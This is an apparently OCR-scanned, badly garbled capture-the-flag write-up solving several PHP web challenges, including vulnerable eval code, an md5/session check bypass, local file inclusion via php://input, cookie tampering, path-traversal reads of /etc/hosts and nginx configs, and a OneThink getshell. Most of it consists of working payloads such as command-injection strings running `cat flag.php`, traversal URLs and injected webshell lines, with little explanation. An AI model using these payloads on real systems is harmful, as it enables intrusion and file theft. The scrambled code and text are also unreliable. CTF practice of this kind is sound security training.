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<?php

include "flag.php";

$a = @$ REQUEST[ 'hello'];

if(!preg match('/"\w*$/',$a )){
die('ERROR');

}

eval("var dump($$a);");

show source( FILE ); =
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G € @ d7e7cb601e9b4438be5326923943¢9ad0dd4101575e34d06.ctf.game/?hello=GLOBALS ~d

array(9) { ["_GET"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } [*_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } [*_REQUEST"]=>
array(1) { ["hello"]=> string(7) "GLOBALS" } ["flag"]=> string(38) "flagfE— < H6AIZE & EE" ["d3f0f8"]=> string(42) "flag{84b465ec-19a6-41c2-b6c1—
27css1493b99} ["a"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION* } <zphp
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<?php

include "flag.php";

$a = @$ REQUEST[ 'hello'];
eval( "var dump($a);");
show _source(_ FILE );
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C' @ view-source:711b10f9a87a4732862c9c4c4238e25bff0c6d44a7bas9f6.ctf.game/?hello=);echo%20" cat%20flag.php ;//
<?php
$flag = 'Too Young Too Simple'; ﬁ i
#£1ag{90d21480-1a0b-4332-8bE £-6cTd4c 206056} ; k C\{ N C
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<?php

error_reporting(0);
session_start();
require('./flag.php');
if(lisset($_SESSION[ 'nums'])){

$_SESSION[ 'nums'] = 0;
$_SESSION[ 'time'] = time();
$_SESSION[ 'whoami'] = 'ea';

}

if($_SESSION[ 'time']+120<time()){
session_destroy();

}

$value = $_REQUEST[ 'value'];
$str_rand = range('a', 'z');
$str_rands = $str rand[mt rand(0,25)].$str rand[mt_rand(0,25)];

if($_SESSION[ 'whoami']==($value[0].$value[l]) && substr(md5($value),5,4)==0){
$_SESSION[ 'nums' ]++;
$_SESSION[ 'whoami'] = $str_rands;
echo $str_rands;

}

if($_SESSION[ 'nums' ]>=10){
echo §$flag;

}

show_source(_ FILE );
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SESSION nums& Z>=10i& [Elflag
¥aEH A0

Hrhsubstr(md5($value),5,4)==0218 B 3L 1
HER; Ewhoami £ F 4 Snumsini
Whoami#l#{k Aea
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@/ Load URL http://b73840d5951d4170bdd976b82cbeb511e6c85ff875cadcOb.ctf.game/?value[0]=n&value[1]=0
1 split URL
» Execute
Enable Post data Enable Referrer
Post data
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ygflag{3af3aa60-b7dd-4e9b-b61f-e13ecd827222} <?php
error_reporting(0);

session start();

require('./flag.php');

#— KR A value[O]=e&value[1]=a
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<?php

show source(_FILE );

if(isset($_REQUEST[ 'path'])){
include($ REQUEST[ 'path']);

telse{ e e o

include('phpinfo.php'k{lfiumi
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view-source:http://c7316263909a4e20a59653a96f459e047290968f99c84359.ctf.game/?path=php:/finput

Enable Post data Enable Referrer

<?php echo “cat dle345aae.php ;2?5
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rode><?php
lag="flag{c0792945-44b5-4al12-b292-99c0ebb0cdc8}";
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/Users/Bluelce curl -i http://fff70c630e154d28b1f69c128565dc86cde@1d11dc9342af. ctf
.game/login.php
HTTP/1.1 20@ OK
Server: ASERVER/1.8.0-3
Date: Sun, 19 Feb 2017 13:28:01 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.6.30
content-text: text/html;charset=gbk
Set-Cookie: login=0
Set-Cookie: __ads_session=YS40zPDC3Qjl0rwDDAA=; domain=.*.ctf.game; path=/
X-Powered-By-Anquanbao: MISS from pon-bj-icg-ichungiu-ibl

# & T login=0

thi&login=1 EH v~
Load URL | http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=index&name=php|
Split URL
Execute

Enable Post data Enable Referrer
it data
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http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=index&name=php
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http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=in../dex&name=php
REIEH
http://fff70c630e154d28b1f69¢c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=in./dex&name=php
REZEH

BT/

http://fff70c630e154d28b1f69¢c128565dc86cde01d11dc9342af.ctf.came/manages/admin.php?
module=..././..././...[./...].]..././[etc/hosts&name=



http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=index&name=php
http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=in../dex&name=php
http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=in./dex&name=php
http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=..././..././..././..././..././etc/hosts&name

http://fff70c630e1 54d28b1f695128565d0860de0hd11d09342af.ctf.game/manages/admin.php?module:..4/./..././..././.../J..J./etc/hosts&name:

Enable Post data Enable Referrer
sokies™  gicssv  MEE~ EEK- § NAEET $EMEMET SimEr LERT FIAT OBEERRB  {lhEm-
ilhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 |
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http://fff70c630e154d28b1f69¢128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?
module=..././...[./...[.]...].]..././etc/nginx/nginx.conf&name=

# HTTPS server

#

#server {

# listen 443 ssl;

# server_name localhost;

# ssl certificate cert.pem;

# ssl certificate key cert.key;

# ssl session_ cache shared:SSL:1m;

# ssl session_ timeout 5m;

# ssl ciphers HIGH:!aNULL:!MD5;

# ssl prefer server ciphers on;j;

# location / {

# root html;

# index index.html index.htm;

# }

#) o

include sites-enabled/default; ()= ¢
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http://fff70c630e154d28b1f69¢128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?
module=..././.../.J.../.]...[.]...].[etc/nginx/sites-enabled/default&name=

location /online-movies {
alias /movie/;
autoindex on;

}

location ~ /\.ht { _ D
deny all; GEEALS
} :
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http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=..././..././..././..././..././etc/nginx/nginx.conf&name
http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=..././..././..././..././..././etc/nginx/sites-enabled/default&name

/Users/Bluelce curl -i http://fff70c630e154d28b1f69c128565dc86cde@1d11dc9342af. ctf
.game/online-movies. ./var/ww/html/flag.php
HTTP/1.1 20@ OK
Server: ASERVER/1.8.0-3
Date: Sun, 19 Feb 2017 13:33:56 GMT
Content-Type: application/octet-stream
Content-Length: 81
Connection: keep-alive
Last-Modified: Sun, 19 Feb 2017 13:27:50 GMT
ETag: "58a92d56-51"
Set-Cookie: __ads_session=4EzjgxPD3QiVPLwDDAA=; domain=.*.ctf.game; path=/
X-Powered-By-Anquanbao: MISS from pon-bj-icg-ichungiu-ibl
Accept-Ranges: bytes

<?php
$flag="flag{6e6419e5-def3-431c-ale4-1dcla4c925c7}";
echo 'flag_is_here';
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hitp:/mww.ourlove520.com/Article/diannao/wangluo/227731.html - /lonethink & #7i8 A getshell A2 2 ¥
hitp:/Aww.hackdig.com/06/hack-36510.html  //thinkphpHE 425 1) FF IR & Zi Bl getshell tp B J5 onethink 2451
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onethink7E/Runtime/TempZ: B2 77 30 4:2bb202459¢30a1628513f40ab22fa01a.php, FHrit M /42 T LA P i
B, HFEME RRETHAEKE, BEMAEHTIIE, ERT HLSPITRIRE.
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HTRRE THP2KE, Mbupsuitf, HEM FEH2MKS:
%0a$a=$_GET[a];//
%0aecho “$a’;//
RERKES, XBEEERIRTF, BERAEERNSETHEFMFIRFERTRIITATT
BJE Vi E

/Runtime/Temp/2bb202459¢30a1628513f40ab22fa01a.php?a=cat ../../flag.php
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